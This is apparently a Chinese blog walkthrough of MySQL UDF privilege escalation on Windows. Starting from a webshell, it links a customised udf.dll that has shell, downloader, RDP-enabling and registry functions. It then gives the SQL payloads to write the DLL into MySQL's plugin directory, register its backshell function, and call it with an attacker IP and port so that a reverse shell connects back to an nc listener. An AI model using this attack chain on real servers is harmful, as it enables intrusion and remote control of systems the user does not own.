mysql udf反弹端口提权
- 本篇文章只是记录一下 udf.dll提权的另一种方法,不涉及udf.dll提权原理的详细讲解。
- 详细的原理讲解请移步博主的这篇文章:https://www.cnblogs.com/02SWD/p/15858250.html
- 本篇文章所使用的 udf.dll(该udf.dll只适用于32位的mysql数据库):
链接:https://pan.baidu.com/s/1N9eHd1uiXWox22etDNTmlg 提取码:z5jc
1. 复现
-
我们所使用的这个udf.dll是被定制过的,其中定义了以下函数。如下图:
-
部分函数说明:
- cmdshell:执行cmd
- downloader:下载者,到网上下载指定文件并保存到指定目录
- open3389:通用开3389终端服务,可指定端口(不改端口无需重启)
- backshell:反弹shell(本次文章主角)
- ProcessView:枚举系统进程
- KillProcess:终止指定进程
- regread:读注册表
- regwrite:写注册表
- shut:关机、注销、重启
- about:说明与帮助函数
-
1. 假设我们已经拿到了webshell,界面如下:
-
2. 接下来我们上传一下定制的udf.dll
-
3. 查看当前数据库的secure_file_priv参数
- payload
show variables like "secure_file_priv"
- 可以看到,该数据库的secure_file_priv参数没有设置任何值,说明可以导出
-
4. 我们将定制的udf.dll文件导出
-
看一下数据库的版本,查询一下导出的目录
- payload
select version() show variables like "%plugin%"
- 可以看到我们应该将 udf.dll 导出到 C:\phpStudy\MySQL\lib\plugin\ 目录下
-
导出udf.dll
select load_file('C:/phpStudy/WWW/udf.dll') into dumpfile 'C:/phpStudy/MySQL/lib/plugin/udf.dll'
- 可以看到已经导出成功了
- 可以看到已经导出成功了
-
-
5. 创建函数
- payload
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll'; select name from mysql.func -- 查看一下是否创建成功
- 在这里我们创建的是 udf.dll 中的backshell函数
- 可以看到 backshell 函数成功的被创建
-
6. 调用函数,反弹shell
-
先nc监听一下
-
看一下攻击者的ip
-
调用函数
select backshell("192.168.1.103",50666);
- 可以看到,反弹成功
-
参考文章:https://blog.csdn.net/qq_45290991/article/details/117536250